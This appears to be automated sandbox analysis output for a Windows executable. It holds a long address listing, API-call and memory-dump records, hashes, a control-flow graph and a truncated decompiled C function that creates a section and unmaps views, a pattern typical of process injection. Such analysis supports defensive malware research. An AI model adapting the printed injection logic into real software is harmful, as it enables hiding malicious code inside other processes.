                                                                                                                                                                                                                                                                                                      0x00401c03
                                                                                                                                                                                                                                                                                                      0x00401c09
                                                                                                                                                                                                                                                                                                      0x00401c18
                                                                                                                                                                                                                                                                                                      0x00401c20
                                                                                                                                                                                                                                                                                                      0x00401c26
                                                                                                                                                                                                                                                                                                      0x00401c35
                                                                                                                                                                                                                                                                                                      0x00401c3d
                                                                                                                                                                                                                                                                                                      0x00401c43
                                                                                                                                                                                                                                                                                                      0x00401c52
                                                                                                                                                                                                                                                                                                      0x00401c5a
                                                                                                                                                                                                                                                                                                      0x00401c60
                                                                                                                                                                                                                                                                                                      0x00401c6f
                                                                                                                                                                                                                                                                                                      0x00401c77
                                                                                                                                                                                                                                                                                                      0x00401c7d
                                                                                                                                                                                                                                                                                                      0x00401c8c
                                                                                                                                                                                                                                                                                                      0x00401c94
                                                                                                                                                                                                                                                                                                      0x00401c9a
                                                                                                                                                                                                                                                                                                      0x00401ca9
                                                                                                                                                                                                                                                                                                      0x00401cb1
                                                                                                                                                                                                                                                                                                      0x00401cb7
                                                                                                                                                                                                                                                                                                      0x00401cc6
                                                                                                                                                                                                                                                                                                      0x00401cce
                                                                                                                                                                                                                                                                                                      0x00401cd4
                                                                                                                                                                                                                                                                                                      0x00401ce3
                                                                                                                                                                                                                                                                                                      0x00401ceb
                                                                                                                                                                                                                                                                                                      0x00401cf1
                                                                                                                                                                                                                                                                                                      0x00401d00
                                                                                                                                                                                                                                                                                                      0x00401d08
                                                                                                                                                                                                                                                                                                      0x00401d0e
                                                                                                                                                                                                                                                                                                      0x00401d1d
                                                                                                                                                                                                                                                                                                      0x00401d25
                                                                                                                                                                                                                                                                                                      0x00401d2b
                                                                                                                                                                                                                                                                                                      0x00401d3a
                                                                                                                                                                                                                                                                                                      0x00401d42
                                                                                                                                                                                                                                                                                                      0x00401d48
                                                                                                                                                                                                                                                                                                      0x00401d57
                                                                                                                                                                                                                                                                                                      0x00401d5f
                                                                                                                                                                                                                                                                                                      0x00401d65
                                                                                                                                                                                                                                                                                                      0x00401d74
                                                                                                                                                                                                                                                                                                      0x00401d7c
                                                                                                                                                                                                                                                                                                      0x00401d82
                                                                                                                                                                                                                                                                                                      0x00401d91
                                                                                                                                                                                                                                                                                                      0x00401d99
                                                                                                                                                                                                                                                                                                      0x00401d9f
                                                                                                                                                                                                                                                                                                      0x00401dae
                                                                                                                                                                                                                                                                                                      0x00401db6
                                                                                                                                                                                                                                                                                                      0x00401dbc
                                                                                                                                                                                                                                                                                                      0x00401dcb
                                                                                                                                                                                                                                                                                                      0x00401dd3
                                                                                                                                                                                                                                                                                                      0x00401dd9
                                                                                                                                                                                                                                                                                                      0x00401de8
                                                                                                                                                                                                                                                                                                      0x00401df0
                                                                                                                                                                                                                                                                                                      0x00401df6
                                                                                                                                                                                                                                                                                                      0x00401e05
                                                                                                                                                                                                                                                                                                      0x00401e0d
                                                                                                                                                                                                                                                                                                      0x00401e13
                                                                                                                                                                                                                                                                                                      0x00401e22
                                                                                                                                                                                                                                                                                                      0x00401e2a
                                                                                                                                                                                                                                                                                                      0x00401e30
                                                                                                                                                                                                                                                                                                      0x00401e3f
                                                                                                                                                                                                                                                                                                      0x00401e47
                                                                                                                                                                                                                                                                                                      0x00401e4d
                                                                                                                                                                                                                                                                                                      0x00401e5c
                                                                                                                                                                                                                                                                                                      0x00401e64
                                                                                                                                                                                                                                                                                                      0x00401e6a
                                                                                                                                                                                                                                                                                                      0x00401e79
                                                                                                                                                                                                                                                                                                      0x00401e81
                                                                                                                                                                                                                                                                                                      0x00401e87
                                                                                                                                                                                                                                                                                                      0x00401e96
                                                                                                                                                                                                                                                                                                      0x00401e9e
                                                                                                                                                                                                                                                                                                      0x00401ea4
                                                                                                                                                                                                                                                                                                      0x00401eb3
                                                                                                                                                                                                                                                                                                      0x00401ebb
                                                                                                                                                                                                                                                                                                      0x00401ec1
                                                                                                                                                                                                                                                                                                      0x00401ed0
                                                                                                                                                                                                                                                                                                      0x00401ed8
                                                                                                                                                                                                                                                                                                      0x00401ede
                                                                                                                                                                                                                                                                                                      0x00401eed
                                                                                                                                                                                                                                                                                                      0x00401ef5
                                                                                                                                                                                                                                                                                                      0x00401efb
                                                                                                                                                                                                                                                                                                      0x00401f0a
                                                                                                                                                                                                                                                                                                      0x00401f12
                                                                                                                                                                                                                                                                                                      0x00401f18
                                                                                                                                                                                                                                                                                                      0x00401f27
                                                                                                                                                                                                                                                                                                      0x00401f2f
                                                                                                                                                                                                                                                                                                      0x00401f35
                                                                                                                                                                                                                                                                                                      0x00401f44
                                                                                                                                                                                                                                                                                                      0x00401f4c
                                                                                                                                                                                                                                                                                                      0x00401f52
                                                                                                                                                                                                                                                                                                      0x00401f61
                                                                                                                                                                                                                                                                                                      0x00401f69
                                                                                                                                                                                                                                                                                                      0x00401f6f
                                                                                                                                                                                                                                                                                                      0x00401f7e
                                                                                                                                                                                                                                                                                                      0x00401f86
                                                                                                                                                                                                                                                                                                      0x00401f8c
                                                                                                                                                                                                                                                                                                      0x00401f9b
                                                                                                                                                                                                                                                                                                      0x00401fa3
                                                                                                                                                                                                                                                                                                      0x00401fa9
                                                                                                                                                                                                                                                                                                      0x00401fb8
                                                                                                                                                                                                                                                                                                      0x00401fc0
                                                                                                                                                                                                                                                                                                      0x00401fc6
                                                                                                                                                                                                                                                                                                      0x00401fd5
                                                                                                                                                                                                                                                                                                      0x00401fdd
                                                                                                                                                                                                                                                                                                      0x00401fe3
                                                                                                                                                                                                                                                                                                      0x00401ff2
                                                                                                                                                                                                                                                                                                      0x00401ffa
                                                                                                                                                                                                                                                                                                      0x00402000
                                                                                                                                                                                                                                                                                                      0x0040200f
                                                                                                                                                                                                                                                                                                      0x00402017
                                                                                                                                                                                                                                                                                                      0x0040201d
                                                                                                                                                                                                                                                                                                      0x0040202c
                                                                                                                                                                                                                                                                                                      0x00402034
                                                                                                                                                                                                                                                                                                      0x0040203a
                                                                                                                                                                                                                                                                                                      0x00402049
                                                                                                                                                                                                                                                                                                      0x00402051
                                                                                                                                                                                                                                                                                                      0x00402057
                                                                                                                                                                                                                                                                                                      0x00402066
                                                                                                                                                                                                                                                                                                      0x0040206e
                                                                                                                                                                                                                                                                                                      0x00402074
                                                                                                                                                                                                                                                                                                      0x00402083
                                                                                                                                                                                                                                                                                                      0x0040208b
                                                                                                                                                                                                                                                                                                      0x00402091
                                                                                                                                                                                                                                                                                                      0x004020a0
                                                                                                                                                                                                                                                                                                      0x004020a8
                                                                                                                                                                                                                                                                                                      0x004020ae
                                                                                                                                                                                                                                                                                                      0x004020bd
                                                                                                                                                                                                                                                                                                      0x004020c5
                                                                                                                                                                                                                                                                                                      0x004020cb
                                                                                                                                                                                                                                                                                                      0x004020da
                                                                                                                                                                                                                                                                                                      0x004020e2
                                                                                                                                                                                                                                                                                                      0x004020e8
                                                                                                                                                                                                                                                                                                      0x004020f7
                                                                                                                                                                                                                                                                                                      0x004020ff
                                                                                                                                                                                                                                                                                                      0x00402105
                                                                                                                                                                                                                                                                                                      0x00402114
                                                                                                                                                                                                                                                                                                      0x0040211c
                                                                                                                                                                                                                                                                                                      0x00402122
                                                                                                                                                                                                                                                                                                      0x00402131
                                                                                                                                                                                                                                                                                                      0x00402139
                                                                                                                                                                                                                                                                                                      0x0040213f
                                                                                                                                                                                                                                                                                                      0x0040214e
                                                                                                                                                                                                                                                                                                      0x00402156
                                                                                                                                                                                                                                                                                                      0x0040215c
                                                                                                                                                                                                                                                                                                      0x0040216b
                                                                                                                                                                                                                                                                                                      0x00402173
                                                                                                                                                                                                                                                                                                      0x00402179
                                                                                                                                                                                                                                                                                                      0x00402188
                                                                                                                                                                                                                                                                                                      0x00402190
                                                                                                                                                                                                                                                                                                      0x00402196
                                                                                                                                                                                                                                                                                                      0x004021a5
                                                                                                                                                                                                                                                                                                      0x004021ad
                                                                                                                                                                                                                                                                                                      0x004021b3
                                                                                                                                                                                                                                                                                                      0x004021c2
                                                                                                                                                                                                                                                                                                      0x004021ca
                                                                                                                                                                                                                                                                                                      0x004021d0
                                                                                                                                                                                                                                                                                                      0x004021df
                                                                                                                                                                                                                                                                                                      0x004021e7
                                                                                                                                                                                                                                                                                                      0x004021ed
                                                                                                                                                                                                                                                                                                      0x004021fc
                                                                                                                                                                                                                                                                                                      0x00402204
                                                                                                                                                                                                                                                                                                      0x0040220a
                                                                                                                                                                                                                                                                                                      0x00402219
                                                                                                                                                                                                                                                                                                      0x00402221
                                                                                                                                                                                                                                                                                                      0x00402227
                                                                                                                                                                                                                                                                                                      0x00402236
                                                                                                                                                                                                                                                                                                      0x0040223e
                                                                                                                                                                                                                                                                                                      0x00402244
                                                                                                                                                                                                                                                                                                      0x00402253
                                                                                                                                                                                                                                                                                                      0x0040225b
                                                                                                                                                                                                                                                                                                      0x00402261
                                                                                                                                                                                                                                                                                                      0x00402270
                                                                                                                                                                                                                                                                                                      0x00402278
                                                                                                                                                                                                                                                                                                      0x0040227e
                                                                                                                                                                                                                                                                                                      0x0040228d
                                                                                                                                                                                                                                                                                                      0x00402295
                                                                                                                                                                                                                                                                                                      0x0040229b
                                                                                                                                                                                                                                                                                                      0x004022aa
                                                                                                                                                                                                                                                                                                      0x004022b2
                                                                                                                                                                                                                                                                                                      0x004022b8
                                                                                                                                                                                                                                                                                                      0x004022c7
                                                                                                                                                                                                                                                                                                      0x004022cf
                                                                                                                                                                                                                                                                                                      0x004022d5
                                                                                                                                                                                                                                                                                                      0x004022e4
                                                                                                                                                                                                                                                                                                      0x004022ec
                                                                                                                                                                                                                                                                                                      0x004022f2
                                                                                                                                                                                                                                                                                                      0x00402301
                                                                                                                                                                                                                                                                                                      0x00402309
                                                                                                                                                                                                                                                                                                      0x0040230f
                                                                                                                                                                                                                                                                                                      0x0040231e
                                                                                                                                                                                                                                                                                                      0x00402326
                                                                                                                                                                                                                                                                                                      0x0040232c
                                                                                                                                                                                                                                                                                                      0x0040233b
                                                                                                                                                                                                                                                                                                      0x00402343
                                                                                                                                                                                                                                                                                                      0x00402349
                                                                                                                                                                                                                                                                                                      0x00402358
                                                                                                                                                                                                                                                                                                      0x00402360
                                                                                                                                                                                                                                                                                                      0x00402366
                                                                                                                                                                                                                                                                                                      0x00402375
                                                                                                                                                                                                                                                                                                      0x0040237d
                                                                                                                                                                                                                                                                                                      0x00402383
                                                                                                                                                                                                                                                                                                      0x00402392
                                                                                                                                                                                                                                                                                                      0x0040239a
                                                                                                                                                                                                                                                                                                      0x004023a0
                                                                                                                                                                                                                                                                                                      0x004023af
                                                                                                                                                                                                                                                                                                      0x004023b7
                                                                                                                                                                                                                                                                                                      0x004023bd
                                                                                                                                                                                                                                                                                                      0x004023cc
                                                                                                                                                                                                                                                                                                      0x004023d4
                                                                                                                                                                                                                                                                                                      0x004023da
                                                                                                                                                                                                                                                                                                      0x004023e9
                                                                                                                                                                                                                                                                                                      0x004023f1
                                                                                                                                                                                                                                                                                                      0x004023f7
                                                                                                                                                                                                                                                                                                      0x00402406
                                                                                                                                                                                                                                                                                                      0x0040240e
                                                                                                                                                                                                                                                                                                      0x00402414
                                                                                                                                                                                                                                                                                                      0x00402423
                                                                                                                                                                                                                                                                                                      0x0040242b
                                                                                                                                                                                                                                                                                                      0x00402431
                                                                                                                                                                                                                                                                                                      0x00402440
                                                                                                                                                                                                                                                                                                      0x00402448
                                                                                                                                                                                                                                                                                                      0x0040244e
                                                                                                                                                                                                                                                                                                      0x0040245d
                                                                                                                                                                                                                                                                                                      0x00402465
                                                                                                                                                                                                                                                                                                      0x0040246b
                                                                                                                                                                                                                                                                                                      0x0040247a
                                                                                                                                                                                                                                                                                                      0x00402482
                                                                                                                                                                                                                                                                                                      0x00402488
                                                                                                                                                                                                                                                                                                      0x00402497
                                                                                                                                                                                                                                                                                                      0x0040249f
                                                                                                                                                                                                                                                                                                      0x004024a5
                                                                                                                                                                                                                                                                                                      0x004024b4
                                                                                                                                                                                                                                                                                                      0x004024bc
                                                                                                                                                                                                                                                                                                      0x004024c2
                                                                                                                                                                                                                                                                                                      0x004024d1
                                                                                                                                                                                                                                                                                                      0x004024d9
                                                                                                                                                                                                                                                                                                      0x004024df
                                                                                                                                                                                                                                                                                                      0x004024ee
                                                                                                                                                                                                                                                                                                      0x004024f6
                                                                                                                                                                                                                                                                                                      0x004024fc
                                                                                                                                                                                                                                                                                                      0x0040250b
                                                                                                                                                                                                                                                                                                      0x00402513
                                                                                                                                                                                                                                                                                                      0x00402519
                                                                                                                                                                                                                                                                                                      0x00402528
                                                                                                                                                                                                                                                                                                      0x00402530
                                                                                                                                                                                                                                                                                                      0x00402536
                                                                                                                                                                                                                                                                                                      0x00402545
                                                                                                                                                                                                                                                                                                      0x0040254d
                                                                                                                                                                                                                                                                                                      0x00402553
                                                                                                                                                                                                                                                                                                      0x00402562
                                                                                                                                                                                                                                                                                                      0x0040256a
                                                                                                                                                                                                                                                                                                      0x00402570
                                                                                                                                                                                                                                                                                                      0x0040257f
                                                                                                                                                                                                                                                                                                      0x00402587
                                                                                                                                                                                                                                                                                                      0x0040258d
                                                                                                                                                                                                                                                                                                      0x0040259c
                                                                                                                                                                                                                                                                                                      0x004025a4
                                                                                                                                                                                                                                                                                                      0x004025aa
                                                                                                                                                                                                                                                                                                      0x004025b9
                                                                                                                                                                                                                                                                                                      0x004025c1
                                                                                                                                                                                                                                                                                                      0x004025c7
                                                                                                                                                                                                                                                                                                      0x004025d6
                                                                                                                                                                                                                                                                                                      0x004025de
                                                                                                                                                                                                                                                                                                      0x004025e4
                                                                                                                                                                                                                                                                                                      0x004025f3
                                                                                                                                                                                                                                                                                                      0x004025fb
                                                                                                                                                                                                                                                                                                      0x00402601
                                                                                                                                                                                                                                                                                                      0x00402610
                                                                                                                                                                                                                                                                                                      0x00402618
                                                                                                                                                                                                                                                                                                      0x0040261e
                                                                                                                                                                                                                                                                                                      0x0040262d
                                                                                                                                                                                                                                                                                                      0x00402635
                                                                                                                                                                                                                                                                                                      0x0040263b
                                                                                                                                                                                                                                                                                                      0x0040264a
                                                                                                                                                                                                                                                                                                      0x00402652
                                                                                                                                                                                                                                                                                                      0x00402658
                                                                                                                                                                                                                                                                                                      0x00402667
                                                                                                                                                                                                                                                                                                      0x0040266f
                                                                                                                                                                                                                                                                                                      0x00402675
                                                                                                                                                                                                                                                                                                      0x00402684
                                                                                                                                                                                                                                                                                                      0x0040268c
                                                                                                                                                                                                                                                                                                      0x00402692
                                                                                                                                                                                                                                                                                                      0x004026a1
                                                                                                                                                                                                                                                                                                      0x004026a9
                                                                                                                                                                                                                                                                                                      0x004026af
                                                                                                                                                                                                                                                                                                      0x004026be
                                                                                                                                                                                                                                                                                                      0x004026c6
                                                                                                                                                                                                                                                                                                      0x004026cc
                                                                                                                                                                                                                                                                                                      0x004026db
                                                                                                                                                                                                                                                                                                      0x004026e3
                                                                                                                                                                                                                                                                                                      0x004026e9
                                                                                                                                                                                                                                                                                                      0x004026f8
                                                                                                                                                                                                                                                                                                      0x00402700
                                                                                                                                                                                                                                                                                                      0x00402706
                                                                                                                                                                                                                                                                                                      0x00402715
                                                                                                                                                                                                                                                                                                      0x0040271d
                                                                                                                                                                                                                                                                                                      0x00402723
                                                                                                                                                                                                                                                                                                      0x00402732
                                                                                                                                                                                                                                                                                                      0x0040273a
                                                                                                                                                                                                                                                                                                      0x00402740
                                                                                                                                                                                                                                                                                                      0x0040274f
                                                                                                                                                                                                                                                                                                      0x00402757
                                                                                                                                                                                                                                                                                                      0x0040275d
                                                                                                                                                                                                                                                                                                      0x0040276c
                                                                                                                                                                                                                                                                                                      0x00402774
                                                                                                                                                                                                                                                                                                      0x0040277a
                                                                                                                                                                                                                                                                                                      0x00402789
                                                                                                                                                                                                                                                                                                      0x00402791
                                                                                                                                                                                                                                                                                                      0x00402797
                                                                                                                                                                                                                                                                                                      0x004027a6
                                                                                                                                                                                                                                                                                                      0x004027ae
                                                                                                                                                                                                                                                                                                      0x004027b4
                                                                                                                                                                                                                                                                                                      0x004027c3
                                                                                                                                                                                                                                                                                                      0x004027cb
                                                                                                                                                                                                                                                                                                      0x004027d1
                                                                                                                                                                                                                                                                                                      0x004027e0
                                                                                                                                                                                                                                                                                                      0x004027e8
                                                                                                                                                                                                                                                                                                      0x004027ee
                                                                                                                                                                                                                                                                                                      0x004027fd
                                                                                                                                                                                                                                                                                                      0x00402805
                                                                                                                                                                                                                                                                                                      0x0040280b
                                                                                                                                                                                                                                                                                                      0x0040281a
                                                                                                                                                                                                                                                                                                      0x00402822
                                                                                                                                                                                                                                                                                                      0x00402828
                                                                                                                                                                                                                                                                                                      0x00402837
                                                                                                                                                                                                                                                                                                      0x0040283f
                                                                                                                                                                                                                                                                                                      0x00402845
                                                                                                                                                                                                                                                                                                      0x00402854
                                                                                                                                                                                                                                                                                                      0x0040285c
                                                                                                                                                                                                                                                                                                      0x00402862
                                                                                                                                                                                                                                                                                                      0x00402871
                                                                                                                                                                                                                                                                                                      0x00402879
                                                                                                                                                                                                                                                                                                      0x0040287f
                                                                                                                                                                                                                                                                                                      0x0040288e
                                                                                                                                                                                                                                                                                                      0x00402896
                                                                                                                                                                                                                                                                                                      0x0040289c
                                                                                                                                                                                                                                                                                                      0x004028ab
                                                                                                                                                                                                                                                                                                      0x004028b3
                                                                                                                                                                                                                                                                                                      0x004028b9
                                                                                                                                                                                                                                                                                                      0x004028c8
                                                                                                                                                                                                                                                                                                      0x004028d0
                                                                                                                                                                                                                                                                                                      0x004028d6
                                                                                                                                                                                                                                                                                                      0x004028e5
                                                                                                                                                                                                                                                                                                      0x004028ed
                                                                                                                                                                                                                                                                                                      0x004028f3
                                                                                                                                                                                                                                                                                                      0x00402902
                                                                                                                                                                                                                                                                                                      0x0040290a
                                                                                                                                                                                                                                                                                                      0x00402910
                                                                                                                                                                                                                                                                                                      0x0040291f
                                                                                                                                                                                                                                                                                                      0x00402927
                                                                                                                                                                                                                                                                                                      0x0040292d
                                                                                                                                                                                                                                                                                                      0x0040293c
                                                                                                                                                                                                                                                                                                      0x00402944
                                                                                                                                                                                                                                                                                                      0x0040294a
                                                                                                                                                                                                                                                                                                      0x00402959
                                                                                                                                                                                                                                                                                                      0x00402961
                                                                                                                                                                                                                                                                                                      0x00402967
                                                                                                                                                                                                                                                                                                      0x00402976
                                                                                                                                                                                                                                                                                                      0x0040297e
                                                                                                                                                                                                                                                                                                      0x00402984
                                                                                                                                                                                                                                                                                                      0x00402993
                                                                                                                                                                                                                                                                                                      0x0040299b
                                                                                                                                                                                                                                                                                                      0x004029a1
                                                                                                                                                                                                                                                                                                      0x004029b0
                                                                                                                                                                                                                                                                                                      0x004029b8
                                                                                                                                                                                                                                                                                                      0x004029be
                                                                                                                                                                                                                                                                                                      0x004029cd
                                                                                                                                                                                                                                                                                                      0x004029d5
                                                                                                                                                                                                                                                                                                      0x004029db
                                                                                                                                                                                                                                                                                                      0x004029ea
                                                                                                                                                                                                                                                                                                      0x004029f2
                                                                                                                                                                                                                                                                                                      0x004029f8
                                                                                                                                                                                                                                                                                                      0x00402a07
                                                                                                                                                                                                                                                                                                      0x00402a0f
                                                                                                                                                                                                                                                                                                      0x00402a15
                                                                                                                                                                                                                                                                                                      0x00402a1f
                                                                                                                                                                                                                                                                                                      0x00402a2e
                                                                                                                                                                                                                                                                                                      0x00402a36
                                                                                                                                                                                                                                                                                                      0x00402a3c
                                                                                                                                                                                                                                                                                                      0x00402a4b
                                                                                                                                                                                                                                                                                                      0x00402a53
                                                                                                                                                                                                                                                                                                      0x00402a59
                                                                                                                                                                                                                                                                                                      0x00402a68
                                                                                                                                                                                                                                                                                                      0x00402a70
                                                                                                                                                                                                                                                                                                      0x00402a76
                                                                                                                                                                                                                                                                                                      0x00402a85
                                                                                                                                                                                                                                                                                                      0x00402a8d
                                                                                                                                                                                                                                                                                                      0x00402a93
                                                                                                                                                                                                                                                                                                      0x00402aa2
                                                                                                                                                                                                                                                                                                      0x00402aaa
                                                                                                                                                                                                                                                                                                      0x00402ab0
                                                                                                                                                                                                                                                                                                      0x00402abf
                                                                                                                                                                                                                                                                                                      0x00402ac7
                                                                                                                                                                                                                                                                                                      0x00402acd
                                                                                                                                                                                                                                                                                                      0x00402adc
                                                                                                                                                                                                                                                                                                      0x00402ae4
                                                                                                                                                                                                                                                                                                      0x00402aea
                                                                                                                                                                                                                                                                                                      0x00402af9
                                                                                                                                                                                                                                                                                                      0x00402b01
                                                                                                                                                                                                                                                                                                      0x00402b07
                                                                                                                                                                                                                                                                                                      0x00402b16
                                                                                                                                                                                                                                                                                                      0x00402b1e
                                                                                                                                                                                                                                                                                                      0x00402b24
                                                                                                                                                                                                                                                                                                      0x00402b33
                                                                                                                                                                                                                                                                                                      0x00402b3b
                                                                                                                                                                                                                                                                                                      0x00402b41
                                                                                                                                                                                                                                                                                                      0x00402b50
                                                                                                                                                                                                                                                                                                      0x00402b58
                                                                                                                                                                                                                                                                                                      0x00402b5e
                                                                                                                                                                                                                                                                                                      0x00402b6d
                                                                                                                                                                                                                                                                                                      0x00402b75
                                                                                                                                                                                                                                                                                                      0x00402b7b
                                                                                                                                                                                                                                                                                                      0x00402b8a
                                                                                                                                                                                                                                                                                                      0x00402b92
                                                                                                                                                                                                                                                                                                      0x00402b98
                                                                                                                                                                                                                                                                                                      0x00402ba7
                                                                                                                                                                                                                                                                                                      0x00402baf
                                                                                                                                                                                                                                                                                                      0x00402bb5
                                                                                                                                                                                                                                                                                                      0x00402bc4
                                                                                                                                                                                                                                                                                                      0x00402bcc
                                                                                                                                                                                                                                                                                                      0x00402bd2
                                                                                                                                                                                                                                                                                                      0x00402be1
                                                                                                                                                                                                                                                                                                      0x00402be9
                                                                                                                                                                                                                                                                                                      0x00402bef
                                                                                                                                                                                                                                                                                                      0x00402bfe
                                                                                                                                                                                                                                                                                                      0x00402c06
                                                                                                                                                                                                                                                                                                      0x00402c0c
                                                                                                                                                                                                                                                                                                      0x00402c1b
                                                                                                                                                                                                                                                                                                      0x00402c23
                                                                                                                                                                                                                                                                                                      0x00402c29
                                                                                                                                                                                                                                                                                                      0x00402c38
                                                                                                                                                                                                                                                                                                      0x00402c40
                                                                                                                                                                                                                                                                                                      0x00402c46
                                                                                                                                                                                                                                                                                                      0x00402c55
                                                                                                                                                                                                                                                                                                      0x00402c5d
                                                                                                                                                                                                                                                                                                      0x00402c63
                                                                                                                                                                                                                                                                                                      0x00402c72
                                                                                                                                                                                                                                                                                                      0x00402c7a
                                                                                                                                                                                                                                                                                                      0x00402c80
                                                                                                                                                                                                                                                                                                      0x00402c8f
                                                                                                                                                                                                                                                                                                      0x00402c97
                                                                                                                                                                                                                                                                                                      0x00402c9d
                                                                                                                                                                                                                                                                                                      0x00402cac
                                                                                                                                                                                                                                                                                                      0x00402cb4
                                                                                                                                                                                                                                                                                                      0x00402cba
                                                                                                                                                                                                                                                                                                      0x00402cc9
                                                                                                                                                                                                                                                                                                      0x00402cd1
                                                                                                                                                                                                                                                                                                      0x00402cd7
                                                                                                                                                                                                                                                                                                      0x00402ce6
                                                                                                                                                                                                                                                                                                      0x00402cee
                                                                                                                                                                                                                                                                                                      0x00402cf4
                                                                                                                                                                                                                                                                                                      0x00402d03
                                                                                                                                                                                                                                                                                                      0x00402d0b
                                                                                                                                                                                                                                                                                                      0x00402d11
                                                                                                                                                                                                                                                                                                      0x00402d20
                                                                                                                                                                                                                                                                                                      0x00402d28
                                                                                                                                                                                                                                                                                                      0x00402d2e
                                                                                                                                                                                                                                                                                                      0x00402d2e
                                                                                                                                                                                                                                                                                                      0x00402d34
                                                                                                                                                                                                                                                                                                      0x00402d39
                                                                                                                                                                                                                                                                                                      0x00402d40
                                                                                                                                                                                                                                                                                                      0x00402d42
                                                                                                                                                                                                                                                                                                      0x00402d42
                                                                                                                                                                                                                                                                                                      0x00402d40
                                                                                                                                                                                                                                                                                                      0x0040175f
                                                                                                                                                                                                                                                                                                      0x00401739
                                                                                                                                                                                                                                                                                                      0x00402d4f

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(000000FF,0042FC04,00000000,00000310,00003000,00000004), ref: 0040175A
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2167126740-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: aa13bf631236a86ae703a09fc2ac18b59562f2f8f8f3df66dbc50f080ae52a18
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0b5f658fa9653ec352b4b9d1616d4ab2fe0179f17519f25e003b4606f5670399
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aa13bf631236a86ae703a09fc2ac18b59562f2f8f8f3df66dbc50f080ae52a18
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C0C284B9A00204ABD310DF61EE82F693771BB84749F94417DFD086F392EA365D0B8B59
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 761 40a310-40a321 762 40a323-40a326 761->762 763 40a32b-40a335 761->763 764 40a4f4-40a4f7 762->764 765 40a337-40a33c call 408280 763->765 766 40a33f-40a343 763->766 765->766 768 40a4f1 766->768 769 40a349-40a35c call 4082c0 766->769 768->764 769->768 773 40a362-40a36f 769->773 773->768 774 40a375-40a3b3 call 4016e0 773->774 774->768 778 40a3b9-40a3f2 call 4016e0 774->778 782 40a4e4-40a4ed call 4016e0 778->782 783 40a3f8-40a442 call 4016e0 * 2 778->783 782->768 783->782 792 40a448-40a470 783->792 793 40a472-40a476 792->793 794 40a496-40a49a 792->794 793->794 795 40a478-40a493 call 4085e0 793->795 796 40a4aa-40a4b3 794->796 797 40a49c-40a4a8 794->797 795->794 799 40a4b6-40a4ba 796->799 797->799 801 40a4d1-40a4e2 call 4016e0 NtUnmapViewOfSection 799->801 802 40a4bc-40a4c9 call 4016e0 799->802 801->782 802->801
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 39%
                                                                                                                                                                                                                                                                                                      			E0040A310(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				char _v16;
                                                                                                                                                                                                                                                                                                      				void* _v20;
                                                                                                                                                                                                                                                                                                      				void* _v24;
                                                                                                                                                                                                                                                                                                      				char _v28;
                                                                                                                                                                                                                                                                                                      				char _v32;
                                                                                                                                                                                                                                                                                                      				char _v36;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v40;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v44;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v48;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v52;
                                                                                                                                                                                                                                                                                                      				char _v56;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v24 = 0xffffffff;
                                                                                                                                                                                                                                                                                                      				if(_a12 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v24;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_v8 = _a8;
                                                                                                                                                                                                                                                                                                      				if(_v8 == 0) {
                                                                                                                                                                                                                                                                                                      					_v8 = E00408280(__ecx);
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      					_v12 = E004082C0(_v8);
                                                                                                                                                                                                                                                                                                      					if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      						_v16 =  *((intOrPtr*)(_v12 + 0x50));
                                                                                                                                                                                                                                                                                                      						if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      							_v32 = 0;
                                                                                                                                                                                                                                                                                                      							_v56 = _v16;
                                                                                                                                                                                                                                                                                                      							_v52 = 0;
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0x8000000);
                                                                                                                                                                                                                                                                                                      							_push(0x40);
                                                                                                                                                                                                                                                                                                      							_push( &_v56);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0xf001f);
                                                                                                                                                                                                                                                                                                      							_push( &_v32);
                                                                                                                                                                                                                                                                                                      							_v44 =  *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0xd8))))();
                                                                                                                                                                                                                                                                                                      							if(_v44 >= 0) {
                                                                                                                                                                                                                                                                                                      								_v20 = 0;
                                                                                                                                                                                                                                                                                                      								_v36 = 0;
                                                                                                                                                                                                                                                                                                      								_push(4);
